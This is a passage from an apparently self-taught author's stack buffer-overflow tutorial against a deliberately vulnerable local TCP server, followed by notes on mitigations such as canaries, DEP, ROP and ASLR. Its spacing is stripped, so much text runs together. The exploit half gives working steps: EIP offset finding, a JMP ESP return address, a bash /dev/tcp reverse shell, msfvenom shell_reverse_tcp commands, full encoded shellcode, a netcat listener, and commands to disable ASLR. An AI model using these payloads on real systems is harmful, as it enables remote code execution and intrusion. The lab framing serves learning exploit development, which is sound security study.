and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

